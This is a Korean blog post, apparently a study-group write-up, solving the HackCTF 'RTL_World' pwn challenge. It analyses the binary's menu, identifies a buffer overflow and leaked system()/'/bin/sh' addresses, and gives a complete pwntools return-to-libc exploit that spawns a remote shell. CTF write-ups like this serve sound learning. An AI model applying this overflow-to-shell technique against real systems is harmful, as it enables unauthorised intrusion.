혜랑's STORY

[Hack CTF] RTL_World 본문

2021 SISS 21기 활동/1학기 시스템

[Hack CTF] RTL_World

hyerang0125 2021. 5. 14. 15:35
  • IDA로 rtl_world 살펴보기

// main() 함수

  • dlsym() 함수는 c언어에서 사용하는 함수로 두 번째 인자의 주소를 첫 번째 인자(라이브러리)에서 찾아서 변수에 저장한다. 즉, system의 주소는 v6에 "/bin/sh"의 주소는 s1에 저장된다.
  • case 1을 보아 보호기법이 전혀 존재하지 않는 것 같다.

  • case 2는 Get_Money() 함수를 실행시킨다.
  • case 3은 gold를 1999만큼 빼고, system()의 주소를 노출(leak)한다.
  • case 4는 gold를 2999만큼 빼고, shell("/bin/sh")의 주소를 노출(leak)한다.
  • case 5는 buf의 크기보다 더 많이 입력을 받는다. <- buffer overflow!

// Get_Money() 함수

  • gold를 많이 얻기 위해서는 v1에 4를 입력해 주어야 한다.

풀이

[Payload]

payload = buf(0x8c) + SFP(4) + RET(4) = 'A' * (0x8c + 4) + systemAddr + 'BBBB' + shellAddr

gold가 많아야 case 3, 4, 5를 실행시킬 수 있기 때문에 반복문을 사용해 gold를 모아 주었다. 그 뒤, system 주소와 "/bin/sh" 주소를 찾아 payload를 완성 시켰다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3010)

for i in range(0, 10):
	p.sendlineafter(">>> ", "2")
	p.sendlineafter("(Job)>>> ", "3")

p.sendlineafter(">>> ", "3")
p.recvuntil("System Armor : ")
sysAddr = p.recvuntil('\n')
sysAddr = int(sysAddr, 16)

p.sendlineafter(">>> ", "4")
p.recvuntil("Shell Sword : ")
binsh = p.recvuntil('\n')
binsh = int(binsh, 16)

p.sendlineafter(">>> ", "5")
p.recvuntil("[Attack] > ")

print hex(sysAddr)
print hex(binsh)

payload = "A" * (0x8c + 4)
payload += p32(sysAddr)
payload += 'BBBB'
payload += p32(binsh)

p.send(payload)
p.interactive()

결과

 

해결!

'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글

[HackCTF] rop 문제 풀이  (0) 2021.06.16
깃 허브에 올린 과제  (0) 2021.06.16
[HackCTF] x64 Buffer Overflow  (0) 2021.04.09
[HackCTF] Basic_BOF #1  (0) 2021.04.09
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.04.02